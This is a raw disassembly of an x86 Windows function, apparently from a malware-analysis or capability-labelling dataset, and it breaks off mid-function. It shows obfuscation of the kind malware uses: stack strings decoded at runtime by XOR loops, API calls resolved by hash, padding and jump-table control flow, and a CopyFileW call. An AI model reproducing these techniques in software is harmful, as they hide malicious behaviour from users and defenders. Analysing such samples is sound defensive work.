Function at 0x42ca24
Capabilities:
Copy file
Encode data using xor

Disassembly:
push dword [esp + 4]
call fcn.0042bd20
add esp, 4
test al, al
je 0x42c690
mov al, 1
ret
push ebp
push ebx
push edi
push esi
sub esp, 0xb4
mov dword [esp + 0x94], 0xc958cbbb
mov dword [esp + 0x98], 0xc54ac745
mov dword [esp + 0x9c], 0xc156c35b
mov dword [esp + 0xa0], 0xfd8eff54
mov dword [esp + 0xa4], 0xf976fb63
mov dword [esp + 0xa8], 0xf5f6f760
lea eax, [esp + 0x94]
mov ecx, 0x2fc78e2c
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [eax]
mov esi, ecx
or esi, edx
mov edi, esi
not edi
lea ebx, [ecx - 0x2fc78e00]
and ebx, edx
lea edx, [esi + edi*2]
inc edx
or edx, ebx
add dl, 0xe1
mov byte [eax], dl
inc eax
dec ecx
cmp ecx, 0x2fc78e14
jne 0x42c6f0
mov dword [esp + 0xc], 0x61346700
mov dword [esp + 0x10], 0x7d3b633f
mov dword [esp + 0x14], 0x79137f27
mov dword [esp + 0x18], 0x75287b14
mov dword [esp + 0x1c], 0x7112771f
mov dword [esp + 0x20], 0x8d317327
mov dword [esp + 0x24], 0x89d68fd1
mov dword [esp + 0x28], 0x85dc8bd3
mov dword [esp + 0x2c], 0x81e287db
mov dword [esp + 0x30], 0x9dd383ed
mov dword [esp + 0x34], 0x99f29fc2
mov dword [esp + 0x38], 0x95d99bf1
mov dword [esp + 0x3c], 0x91c997c6
mov dword [esp + 0x40], 0xadfc93f4
mov dword [esp + 0x44], 0xa9daafcf
mov dword [esp + 0x48], 0xa5d5ab26
mov dword [esp + 0x4c], 0xa1cba7c0
mov dword [esp + 0x50], 0xbddda32c
mov dword [esp + 0x54], 0xb9c9bfdf
mov word [esp + 0x58], 0xbbb8
mov dword [esp + 0x5a], 0
mov eax, 0x28
mov ecx, 0x12b73456
nop
nop
nop
nop
nop
nop
nop
lea edx, [eax - 0x95b9a3f]
mov esi, ecx
and esi, 0x34
and edx, 0xcb
or edx, esi
xor dl, byte [esp + eax - 0x1c]
xor dl, 0x34
add dl, 0x73
mov byte [esp + eax - 0x1c], dl
inc eax
dec ecx
cmp eax, 0x7a
jne case.default.0x42c816
lea eax, [esp + 0x94]
lea ebx, [esp + 0xc]
push eax
push ebx
call fcn.0043dbd0
add esp, 8
mov esi, eax
xor eax, eax
test esi, esi
sete al
jmp dword [eax*4 + 0x44eca0]
mov ecx, esi
nop
mov eax, ecx
add ecx, 2
cmp word [eax], 0
jne 0x42c820
sub eax, esi
mov ecx, dword [case.0x42c816.3]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp ecx
cmp eax, 0xffffffd9
jge 0x42c855
mov eax, 0xffffffff
jmp 0x42c858
xor ebx, ebx
jmp 0x42d351
add eax, 0x26
push eax
call fcn.0040cb60
add esp, 4
mov ebp, eax
mov dword [esp + 0xc], 0xe11be700
mov dword [esp + 0x10], 0xfd14e311
mov dword [esp + 0x14], 0xf905ff02
mov dword [esp + 0x18], 0xf51efb01
mov dword [esp + 0x1c], 0xf107f709
mov dword [esp + 0x20], 0x8d0cf306
mov dword [esp + 0x24], 0x89778f77
mov dword [esp + 0x28], 0x85048bbe
mov dword [esp + 0x2c], 0x81788778
mov word [esp + 0x30], 0x8380
mov dword [esp + 0x32], 0
mov byte [esp + 0x36], 0
mov eax, 9
mov ecx, 0x56
mov dword [esp + 0x74], ebp
nop
nop
nop
mov edi, ecx
and edi, 0x75
mov edx, eax
and edx, 0xa
or edx, edi
xor dl, byte [esp + eax + 3]
xor dl, 0x75
add dl, 0x33
mov byte [esp + eax + 3], dl
inc eax
dec ecx
cmp eax, 0x34
jne 0x42c8d0
movzx ecx, word [esi]
mov eax, ebp
test cx, cx
je 0x42c921
mov edx, esi
add edx, 2
mov eax, ebp
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42c910
mov word [eax], 0
movzx ecx, word [esp + 0xc]
test cx, cx
je 0x42c951
lea edx, [esp + 0xe]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42c940
mov word [eax], 0
jmp dword [0x44ecb8]
push esi
call fcn.0040cb70
add esp, 4
xor eax, eax
cmp word [ebp], 0x2a
sete al
jmp dword [eax*4 + 0x44ecc0]
mov dword [esp + 0xc], 0xf73009c7
mov dword [esp + 0x10], 0xf35df550
mov dword [esp + 0x14], 0xff6cf163
mov dword [esp + 0x18], 0xfb53fd56
mov dword [esp + 0x1c], 0xe742f953
mov dword [esp + 0x20], 0xe371e54b
mov dword [esp + 0x24], 0xef44e172
mov dword [esp + 0x28], 0xeb41ed45
mov dword [esp + 0x2c], 0xd74ce93a
mov dword [esp + 0x30], 0xd378d578
mov dword [esp + 0x34], 0xd1d0
xor eax, eax
mov ecx, eax
and ecx, 0x3c
mov edx, eax
and edx, 2
mov esi, eax
or esi, 0xfd
inc esi
imul esi, ecx
xor ecx, 0xfe
imul ecx, edx
mov edx, eax
xor edx, 0x81
add ecx, esi
add ecx, edx
xor cl, byte [esp + eax + 0xc]
mov dl, 0x89
sub dl, cl
mov byte [esp + eax + 0xc], dl
inc eax
cmp eax, 0x2c
jne 0x42c9d0
push 0
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_CopyFileW]
lea esi, [esp + 0x94]
jmp dword [0x44ecc8]
xor eax, eax
cmp word [ebp], 0x2a
sete al
jmp dword [eax*4 + 0x44ecc0]
lea esi, [esp + 0x94]
jmp dword [0x44ecc8]
jmp dword [0x44ee40]
mov esi, dword [esp + 0x88]
mov ecx, esi
call fcn.0042f9d0
push esi
call fcn.0040cb70
add esp, 4
jmp dword [0x44ee48]
add esi, 4
mov esi, dword [esi]
xor eax, eax
test esi, esi
setne al
jmp dword [eax*4 + 0x44eda0]
mov edx, dword [esi]
cmp dword [esi + 0x18], 3
mov ebp, 0
jne case.default.0x42caa2
mov ebp, dword [esi + 0x10]
test edx, edx
setne al
test ebp, ebp
setne cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x44edb8]
mov dword [esp + 0x70], edx
mov dword [esp + 0x6c], esi
mov eax, ebp
mov esi, ebp
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
inc eax
cmp byte [ecx], 0
jne case.default.0x42caf2
mov dword [esp + 0x74], edi
sub ecx, esi
inc ecx
shr ecx, 1
mov dword [esp + 0xac], ecx
lea eax, [ecx + 1]
push eax
call fcn.0040cb60
add esp, 4
movsx ecx, byte [esi]
xor edx, edx
test ecx, ecx
setne dl
mov dword [esp + 0x68], eax
jmp dword [edx*4 + 0x44edc0]
mov byte [eax], cl
inc eax
movsx ecx, byte [esi]
xor ebx, ebx
test ecx, ecx
setne bl
jmp dword [ebx*4 + 0x44edc0]
mov dword [esp + 0x64], esi
inc esi
mov ebx, ecx
and ebx, 0xffffffdf
mov ebp, ebx
xor ebp, 0xffffffdf
lea edi, [ebp + 0x67]
cmp edi, 5
ja case.default.0x42cb43
xor ebx, 0xffffffbe
not ebp
and ebp, 6
lea ecx, [ebx + ebp*2]
add ecx, 0xb
movsx ebx, byte [esi]
xor edx, edx
test ebx, ebx
setne dl
jmp dword [edx*4 + 0x44edc8]
add ecx, 0xffffffd0
cmp ecx, 0xa
jb case.default.0x42cb67
mov ecx, 0xffffffff
movsx ebx, byte [esi]
xor edx, edx
test ebx, ebx
setne dl
jmp dword [edx*4 + 0x44edc8]
shl ecx, 4
mov esi, dword [esp + 0x64]
add esi, 2
mov edx, ebx
and edx, 0xffffffdf
mov ebp, edx
xor ebp, 0xffffffdf
lea edi, [ebp + 0x67]
cmp edi, 5
ja case.default.0x42cba7
xor edx, 0xffffffbe
not ebp
and ebp, 6
lea edx, [edx + ebp*2]
add edx, 0xb
or edx, ecx
mov byte [eax], dl
inc eax
movsx ecx, byte [esi]
xor edx, edx
test ecx, ecx
setne dl
jmp dword [edx*4 + 0x44edc0]
add ebx, 0xffffffd0
cmp ebx, 0xa
jb case.default.0x42cbcc
mov ebx, 0xffffffff
or ebx, ecx
mov byte [eax], bl
inc eax
movsx ecx, byte [esi]
xor edx, edx
test ecx, ecx
setne dl
jmp dword [edx*4 + 0x44edc0]
mov byte [eax], 0
push 0
push 0x10
push 0
push dword [esp + 0x7c]
call fcn.0042fa70
add esp, 0x10
mov dword [esp + 0x64], eax
xor esi, esi
mov ecx, dword [case.0x42d656.35]
xor ebx, ebx
mov ebp, dword [esp + 8]
cmp ebp, dword [esp + 0x60]
setne bl
jmp dword [ebx*4 + 0x44edd0]
jmp dword [0x44ede0]
mov esi, dword [ebp]
xor edi, edi
jmp dword [edi*4 + 0x44ee00]
add ebp, 8
xor ebx, ebx
cmp ebp, dword [esp + 0x60]
setne bl
jmp dword [ebx*4 + 0x44edd0]
mov edi, dword [ebp + 4]
mov ebx, edi
shr ebx, 0x1c
shl edi, 4
or edi, 1
xor ebx, edx
xor edi, dword [esp + 0x64]
xor eax, eax
or edi, ebx
sete al
jmp dword [eax*4 + 0x44ede8]
jmp ecx
mov edi, 1
jmp dword [edi*4 + 0x44ee00]
xor eax, eax
test esi, esi
setne al
jmp dword [eax*4 + 0x44ee18]
lea ebx, [esp + 0xc]
mov edi, dword [esp + 0x74]
mov esi, dword [esp + 0x6c]
jmp dword [0x44ee28]
mov eax, dword [esp + 0xac]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x68]
mov dword [esp + 0x10], eax
mov eax, 0xffffffff
lea ebx, [esp + 0xc]
mov edi, dword [esp + 0x74]
nop
nop
cmp byte [esi + eax + 1], 0
lea eax, [eax + 1]
jne case.default.0x42cd1d
mov dword [esp + 0x94], eax
mov dword [esp + 0x98], esi
mov dword [esp + 0x7c], 0
mov dword [esp + 0x80], 0
push 0x31f26afb
push dword [0x452e28]
call fcn.00445fa0
add esp, 8
lea ecx, [esp + 0x7c]
push ecx
push 1
push 0
push 0
lea ecx, [esp + 0xa4]
push ecx
push 0
push ebx
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44ee20]
mov esi, dword [esp + 0x6c]
jmp dword [0x44ee28]
movzx eax, byte [esi]
test al, al
je 0x42cd4b
inc esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [esi]
inc esi
test al, al
jne 0x42cd40
mov word [edi], 0x203a
mov eax, edi
add eax, 2
mov esi, dword [esp + 0x7c]
test esi, esi
je 0x42cd8b
mov ecx, dword [esp + 0x80]
mov edx, esi
and edx, 3
je 0x42cd8f
xor edi, edi
nop
nop
nop
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + edi], bl
inc edi
cmp edx, edi
jne 0x42cd70
add eax, edi
mov edx, esi
sub edx, edi
mov edi, eax
jmp 0x42cd91
mov edi, eax
jmp 0x42cdd9
mov edx, esi
cmp esi, 4
jb 0x42cdd9
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + 1], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + 2], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
lea edi, [eax + 4]
mov byte [eax + 3], bl
mov eax, edi
add edx, 0xfffffffc
jne 0x42cda0
mov byte [edi], 0xa
inc edi
push 0xd80d2c4a
push dword [0x452e10]
call fcn.00445fa0
add esp, 8
push dword [esp + 0x80]
call eax
mov al, 1
mov dword [esp + 4], eax
lea ebx, [esp + 0xc]
mov esi, dword [esp + 0x6c]
jmp dword [0x44ee28]
push dword [esp + 0x68]
call fcn.0040cb70
add esp, 4
mov eax, dword [case.0x42caa2.0]
nop
nop
jmp eax
mov edi, dword [esp + 0x70]
jmp dword [0x44ed38]
jmp dword [0x44ed40]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44ecd8]
xor esi, esi
xor ebp, ebp
jmp dword [0x44ed58]
push dword [esp + 0x74]
call fcn.0040cb70
add esp, 4
xor eax, eax
cmp esi, ebp
sete al
jmp dword [eax*4 + 0x44ed60]
xor ebx, ebx
test esi, esi
jne 0x42d327
jmp 0x42d351
lea eax, [esp + 0x7c]
push 0
push eax
push dword [esp + 0x9c]
call fcn.00446d40
add esp, 0xc
not eax
shr eax, 0x1f
xor ebx, ebx
xor esi, esi
jmp dword [eax*4 + 0x44ece0]
mov esi, dword [esp + 0x7c]
lea eax, [esi + 1]
push eax
call fcn.0040cb60
add esp, 4
push 0
push esi
mov dword [esp + 0x70], eax
push eax
push dword [esp + 0xa0]
call fcn.00446e00
add esp, 0x10
not eax
shr eax, 0x1f
xor ebx, ebx
xor esi, esi
jmp dword [eax*4 + 0x44ecf8]
mov ebx, dword [esp + 0x68]
jmp dword [0x44ed04]
mov esi, dword [esp + 0x7c]
mov byte [ebx + esi], 0
push 0x20
call fcn.0040cb60
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov ecx, eax
push esi
push ebx
call fcn.0042f660
nop
nop
nop
nop
mov esi, dword [esp + 0x7c]
mov byte [ebx + esi], 0
push 0x20
call fcn.0040cb60
add esp, 4
mov edi, eax
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov ecx, eax
push esi
push ebx
call fcn.0042f660
jmp dword [0x44ed0c]
mov dword [esp + 0x70], edi
movzx eax, al
xor ebx, ebx
xor esi, esi
jmp dword [eax*4 + 0x44ed10]
lea esi, [esp + 0xc]
mov edi, dword [esp + 0x70]
jmp dword [0x44ed18]
mov dword [esp + 0xc], 0x5380e29
mov dword [esp + 0x10], 0x32003019
mov dword [esp + 0x14], 0x153521c5
mov dword [esp + 0x18], 0x38db2c1e
mov dword [esp + 0x1c], 0x1e2d2818
mov dword [esp + 0x20], 0x2027c0d1
mov dword [esp + 0x24], 0x6d181015
mov word [esp + 0x28], 0xfb6d
mov dword [esp + 0x2a], 0
mov byte [esp + 0x2e], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0x25
xor cl, byte [esp + eax + 0xc]
add cl, 0x47
mov byte [esp + eax + 0xc], cl
inc eax
cmp eax, 0x23
jne 0x42cfe0
mov ecx, edi
push esi
call fcn.0042f860
nop
nop
mov dword [esp + 0xc], 0x5380e29
mov dword [esp + 0x10], 0x32003019
mov dword [esp + 0x14], 0x153521c5
mov dword [esp + 0x18], 0x38db2c1e
mov dword [esp + 0x1c], 0x1e2d2818
mov dword [esp + 0x20], 0x2027c0d1
mov dword [esp + 0x24], 0x6d181015
mov word [esp + 0x28], 0xfb6d
mov dword [esp + 0x2a], 0
mov byte [esp + 0x2e], 0
xor eax, eax
nop
nop
mov ecx, eax
add cl, 0x25
xor cl, byte [esp + eax + 0xc]
add cl, 0x47
mov byte [esp + eax + 0xc], cl
inc eax
cmp eax, 0x23
jne 0x42d050
mov ecx, edi
push esi
call fcn.0042f860
jmp dword [0x44ed20]
xor ecx, ecx
test eax, eax
setne cl
xor ebx, ebx
xor esi, esi
jmp dword [ecx*4 + 0x44ed28]
add eax, 8
xor ebx, ebx
mov ecx, dword [eax]
xor eax, eax
test ecx, ecx
setne al
xor esi, esi
xor edi, edi
xor edx, edx
jmp dword [eax*4 + 0x44ed30]
mov eax, dword [esp]
mov dword [esi + eax + 4], ecx
mov ebx, dword [esp + 0x60]
add ebx, 8
mov ecx, dword [esp + 0x78]
add ecx, 4
mov ecx, dword [ecx]
xor eax, eax
test ecx, ecx
setne al
mov edi, esi
mov edx, dword [esp + 4]
jmp dword [eax*4 + 0x44ed30]
mov dword [esp + 0x78], ecx
mov esi, dword [ecx]
mov ecx, ebx
sub ecx, edi
cmp ebx, edx
mov dword [esp], ecx
mov dword [esp + 0x64], esi
je 0x42d0f9
mov dword [esp + 0x60], ebx
jmp 0x42d181
mov eax, ecx
sar eax, 3
inc eax
mov dword [esp + 4], edx
mov ecx, edx
sub ecx, edi
sar ecx, 3
mov ebx, ecx
shr ebx, 1
add ebx, ecx
cmp ebx, eax
ja 0x42d116
mov ebx, eax
lea eax, [ebx*8]
push eax
call fcn.0040cb60
add esp, 4
mov dword [esp + 8], eax
test edi, edi
je 0x42d16b
mov edx, dword [esp + 4]
cmp edi, edx
mov esi, dword [esp + 8]
je 0x42d162
xor eax, eax
nop
nop
nop
nop
mov ecx, dword [edi + eax]
mov dword [esi + eax], ecx
mov ecx, dword [edi + eax + 4]
mov dword [esi + eax + 4], ecx
mov dword [edi + eax], 0
lea ecx, [edi + eax]
add ecx, 8
add eax, 8
cmp ecx, edx
jne 0x42d140
push edi
call fcn.0040cb70
add esp, 4
mov edi, dword [esp + 8]
lea edx, [edi + ebx*8]
mov eax, edi
mov ecx, dword [esp]
add eax, ecx
mov dword [esp + 0x60], eax
mov esi, dword [esp + 0x64]
mov dword [esp + 4], edx
mov dword [edi + ecx], 0
mov dword [edi + ecx + 4], 0
xor ebx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [esi + ebx], 0
lea ebx, [ebx + 1]
jne 0x42d1a0
push ebx
call fcn.0040cb60
add esp, 4
mov ecx, dword [esp]
mov dword [edi + ecx], eax
mov ecx, ebx
shr ecx, 2
mov edx, esi
mov dword [esp + 8], edi
mov edi, eax
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
mov ecx, ebx
xor ecx, 3
mov edx, ebx
or edx, 0xfffffffc
and edx, ecx
add esi, edx
add edx, eax
mov ecx, ebx
shr ecx, 1
and ecx, 1
mov dword [esp + 0x6c], esi
mov eax, esi
mov edi, edx
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
mov esi, dword [esp + 8]
mov eax, ebx
inc al
test al, 1
jne 0x42d216
mov eax, ebx
and eax, 2
mov ecx, dword [esp + 0x6c]
movzx ecx, byte [ecx + eax]
mov byte [edx + eax], cl
xor ecx, ecx
cmp ebx, 1
je 0x42d0b0
mov ecx, 0xffffffff
mov eax, 1
mov edx, dword [esp + 0x64]
movzx edi, byte [edx + eax - 1]
xor edi, ecx
mov ecx, edi
shr ecx, 1
mov edx, edi
and edx, 1
neg edx
and edx, 0xedb88320
xor edx, ecx
mov ebp, edx
shr ebp, 1
mov ecx, edi
shl ecx, 0x1e
sar ecx, 0x1f
and ecx, 0xedb88320
xor ecx, ebp
mov esi, edi
shl esi, 0x1d
sar esi, 0x1f
and esi, 0x76dc419
mov ebp, edi
shl ebp, 0x1c
sar ebp, 0x1f
and ebp, 0xedb8832
xor ebp, esi
mov esi, edi
shl esi, 0x1b
sar esi, 0x1f
and esi, 0x1db71064
shl edi, 0x1a
sar edi, 0x1f
and edi, 0x3b6e20c8
xor edi, esi
xor edi, ebp
mov esi, ecx
shr esi, 6
xor edi, esi
shl edx, 0x1a
sar edx, 0x1f
and edx, 0x76dc4190
xor edx, edi
shl ecx, 0x1a
sar ecx, 0x1f
and ecx, 0xedb88320
xor ecx, edx
inc eax
cmp ebx, eax
jne 0x42d220
not ecx
mov esi, dword [esp + 8]
jmp 0x42d0b0
movzx ecx, byte [esp + eax - 0x78d29190]
mov edx, ecx
and edx, eax
add dl, dl
sub cl, dl
movzx ecx, cl
add ecx, eax
add cl, 0xf4
mov byte [esp + eax - 0x78d29190], cl
inc eax
cmp eax, 0x78d291c0
jne 0x42d2d0
mov ecx, dword [esp + 0xc8]
push ebp
push dword [esp + 4]
push ebx
call fcn.0040d690
mov ebx, eax
jmp dword [0x44ee70]
push dword [esp]
call fcn.0040cb70
add esp, 4
and bl, 1
mov ebp, dword [esp + 0x60]
test esi, esi
je 0x42d351
cmp esi, ebp
je 0x42d351
mov edi, esi
jmp 0x42d337
add esi, 8
cmp esi, ebp
je 0x42d348
mov eax, dword [esi]
test eax, eax
je 0x42d330
push eax
call fcn.0040cb70
add esp, 4
jmp 0x42d330
push edi
call fcn.0040cb70
add esp, 4
mov eax, ebx
add esp, 0xb4
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [esp + 4], 0
mov ebp, dword [esp]
mov esi, dword [esp + 8]
jmp dword [0x44ee50]
mov ebp, ebx
mov ebx, esi
mov eax, dword [esp + 0x94]
mov dword [esp + 0xc], 0xf8fbfafd
mov word [esp + 0x10], 0
mov byte [esp + 0x12], 0
mov ecx, 0xab
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + ecx - 0x9f]
mov edi, ecx
and edi, esi
lea edx, [ecx - 0x85ad00]
or edx, esi
xor edx, edi
mov esi, edx
xor esi, 0x57
and edx, 0x28
add edx, edx
sub edx, esi
mov byte [esp + ecx - 0x9f], dl
inc ecx
cmp ecx, 0xb2
jne 0x42d3a0
mov ecx, dword [0x452e1c]
test ecx, ecx
je 0x42d40c
mov edx, dword [esp + 0xc]
xor esi, esi
mov edi, dword [0x452e20]
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0x7e776f1
je 0x42d400
inc esi
cmp ecx, esi
jne 0x42d3f0
jmp 0x42d40c
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x42d770
mov esi, ebx
jmp dword [0x44ed58]
xor eax, eax
cmp esi, ebp
sete al
jmp dword [eax*4 + 0x44ed60]
mov dword [esp + 0x60], ebp
mov dword [esp + 8], esi
sub ebp, esi
sar ebp, 3
mov ecx, ebp
and ecx, 0x421
mov edx, ebp
or ebp, 0x421
imul ebp, ecx
xor ecx, 0x421
and edx, 0xfffffbde
imul edx, ecx
add ebp, edx
push ebp
call fcn.0040cb60
add esp, 4
mov dword [esp], eax
mov eax, dword [0x452e18]
mov dword [esp + 0xc], 0x438e4165
mov dword [esp + 0x10], 0x47a545ab
mov dword [esp + 0x14], 0x4ba649a9
mov dword [esp + 0x18], 0x4fde4d8d
mov dword [esp + 0x1c], 0x73b671e0
mov dword [esp + 0x20], 0x77e27595
mov dword [esp + 0x24], 0x7b5f7999
mov dword [esp + 0x28], 0x7f8d7d80
mov dword [esp + 0x2c], 0x638761f4
mov dword [esp + 0x30], 0x678b6585
mov dword [esp + 0x34], 0x6b866994
mov dword [esp + 0x38], 0x6f8d6d83
mov dword [esp + 0x3c], 0x13fe11f1
mov dword [esp + 0x40], 0x1780153a
mov dword [esp + 0x44], 0x1bfc19fc
mov word [esp + 0x48], 0x1d1c
mov dword [esp + 0x4a], 0
mov word [esp + 0x4e], 0
mov ecx, 0x90
mov edx, 0x70228e6f
nop
nop
nop
nop
movzx esi, byte [esp + ecx - 0x84]
mov edi, ecx
and edi, esi
lea ebx, [esi + esi]
not ebx
add ebx, esi
and ebx, edx
or ebx, edi
lea esi, [ebx + ebx]
not esi
add esi, ebx
add esi, 0x30acc82f
mov edi, esi
and edi, 1
xor esi, 1
lea ebx, [esi + edi*2]
mov byte [esp + ecx - 0x84], bl
inc ecx
dec edx
cmp ecx, 0xd4
jne 0x42d500
lea esi, [esp + 0xb0]
push esi
push 0
push 0
push 0x1e
lea ebx, [esp + 0x1c]
push ebx
push 0
call eax
mov edi, dword [esp + 0xb0]
test edi, edi
jns 0x42d569
mov eax, 0xffffffff
jmp 0x42d56c
lea eax, [edi + edi]
push eax
call fcn.0040cb60
add esp, 4
mov dword [esp + 0x78], eax
mov eax, dword [0x452e18]
mov dword [esp + 0xc], 0x37623905
mov dword [esp + 0x10], 0x334d3547
mov dword [esp + 0x14], 0x4f3a3151
mov dword [esp + 0x18], 0x4b3a4d0d
mov dword [esp + 0x1c], 0x471a4938
mov dword [esp + 0x20], 0x43ce4525
mov dword [esp + 0x24], 0x5f634121
mov dword [esp + 0x28], 0x5b355d38
mov dword [esp + 0x2c], 0x572b59d4
mov dword [esp + 0x30], 0x53275535
mov dword [esp + 0x34], 0x6f1a5134
mov dword [esp + 0x38], 0x6b156d1f
mov dword [esp + 0x3c], 0x67126909
mov dword [esp + 0x40], 0x63e86556
mov dword [esp + 0x44], 0x7f04611c
mov word [esp + 0x48], 0x7d7c
mov dword [esp + 0x4a], 0
mov word [esp + 0x4e], 0
xor ecx, ecx
nop
nop
mov edx, ecx
add dl, 0xb6
xor dl, byte [esp + ecx + 0xc]
add dl, 0x72
mov byte [esp + ecx + 0xc], dl
inc ecx
cmp ecx, 0x44
jne case.default.0x42d656
push esi
push edi
mov esi, dword [esp + 0x80]
push esi
push 0x1e
push ebx
push 0
call eax
lea eax, [esp + 0x84]
push 0x60
push 3
push 0x120089
push eax
push esi
call fcn.00446a40
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44ed68]
lea eax, [esp + 0x90]
push 0
push eax
push dword [esp + 0x8c]
call fcn.00446d40
add esp, 0xc
not eax
shr eax, 0x1f
mov dword [esp + 4], 0
mov edi, dword [esp]
jmp dword [eax*4 + 0x44ed70]
mov esi, dword [esp + 0x90]
lea eax, [esi + 1]
push eax
call fcn.0040cb60
add esp, 4
push 0
push esi
mov dword [esp + 0x94], eax
push eax
push dword [esp + 0x90]
call fcn.00446e00
add esp, 0x10
not eax
shr eax, 0x1f
mov dword [esp + 4], 0
mov edi, dword [esp]
jmp dword [eax*4 + 0x44ed78]
jmp dword [0x44ee48]
push dword [esp + 0x8c]
call fcn.0040cb70
add esp, 4
mov ebp, edi
mov eax, dword [esp + 0x84]
mov dword [esp + 0xc], 0xf8fbfafd
mov word [esp + 0x10], 0
mov byte [esp + 0x12], 0
mov ecx, 0xab
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + ecx - 0x9f]
mov edi, ecx
and edi, esi
lea edx, [ecx - 0x85ad00]
or edx, esi
xor edx, edi
mov esi, edx
xor esi, 0x57
and edx, 0x28
add edx, edx
sub edx, esi
mov byte [esp + ecx - 0x9f], dl
inc ecx
cmp ecx, 0xb2
jne 0x42d710
mov ecx, dword [0x452e1c]
test ecx, ecx
je 0x42d796
mov edx, dword [esp + 0xc]
xor esi, esi
mov edi, dword [0x452e20]
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0x7e776f1
je 0x42d78a
inc esi
cmp ecx, esi
jne 0x42d760
jmp 0x42d796
push eax
push 1
push dword [0x452e24]
push ecx
call fcn.00443a10
add esp, 0x10
mov esi, ebx
jmp dword [0x44ed58]
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x42da12
mov esi, dword [esp + 8]
jmp dword [0x44ee50]
push dword [esp + 0x78]
call fcn.0040cb70
add esp, 4
nop
nop
nop
nop
jmp dword [0x44ee64]
mov eax, dword [esp + 4]
and al, 1
movzx eax, al
jmp dword [eax*4 + 0x44ee68]
mov ebx, dword [esp + 4]
jmp dword [0x44ee70]
mov byte [ebp], 0
sub ebp, dword [esp]
mov dword [esp + 0xc], 0xe7e2e1d1
mov dword [esp + 0x10], 0x23cfced5
mov dword [esp + 0x14], 0xd8dcded1
mov dword [esp + 0x18], 0xda2af693
mov dword [esp + 0x1c], 0xcf95d4c1
mov dword [esp + 0x20], 0xc9c3c6cb
mov dword [esp + 0x24], 0x33368fcb
mov word [esp + 0x28], 0xb538
mov dword [esp + 0x2a], 0
mov word [esp + 0x2e], 0
mov eax, 0x78d2919c
jmp 0x42d2d0
mov esi, dword [esp + 0x90]
mov edi, dword [esp + 0x8c]
mov byte [edi + esi], 0
push 0x20
call fcn.0040cb60
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [esp + 0x88], eax
mov ecx, eax
push esi
push edi
call fcn.0042f660
movzx eax, al
mov dword [esp + 4], 0
mov edi, dword [esp]
jmp dword [eax*4 + 0x44ed80]
mov edi, dword [esp + 0x88]
jmp dword [0x44ed8c]
mov dword [esp + 0xc], 0xcfdcc6a3
mov dword [esp + 0x10], 0xd2ccdcc3
mov dword [esp + 0x14], 0xcfdba78f
mov dword [esp + 0x18], 0x94b1e8fa
mov dword [esp + 0x1c], 0xf6e3ecfc
mov dword [esp + 0x20], 0xf9f98ebb
mov dword [esp + 0x24], 0xf7e9e4fe
mov dword [esp + 0x28], 0xfff5f497
mov dword [esp + 0x2c], 0x51fd
mov eax, 0xcf040f94
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 0x30fbf078]
xor ecx, eax
mov edx, ecx
not edx
add ecx, 0x3bcb9902
mov esi, ecx
and esi, 0x19
xor ecx, 0x18
lea ecx, [ecx + esi*2]
and edx, 1
or ecx, 1
add ecx, edx
mov byte [esp + eax + 0x30fbf078], cl
inc eax
cmp eax, 0xcf040fb8
jne 0x42d900
mov ecx, edi
push ebx
call fcn.0042f860
nop
nop
mov dword [esp + 0xc], 0xcfdcc6a3
mov dword [esp + 0x10], 0xd2ccdcc3
mov dword [esp + 0x14], 0xcfdba78f
mov dword [esp + 0x18], 0x94b1e8fa
mov dword [esp + 0x1c], 0xf6e3ecfc
mov dword [esp + 0x20], 0xf9f98ebb
mov dword [esp + 0x24], 0xf7e9e4fe
mov dword [esp + 0x28], 0xfff5f497
mov dword [esp + 0x2c], 0x51fd
mov eax, 0xcf040f94
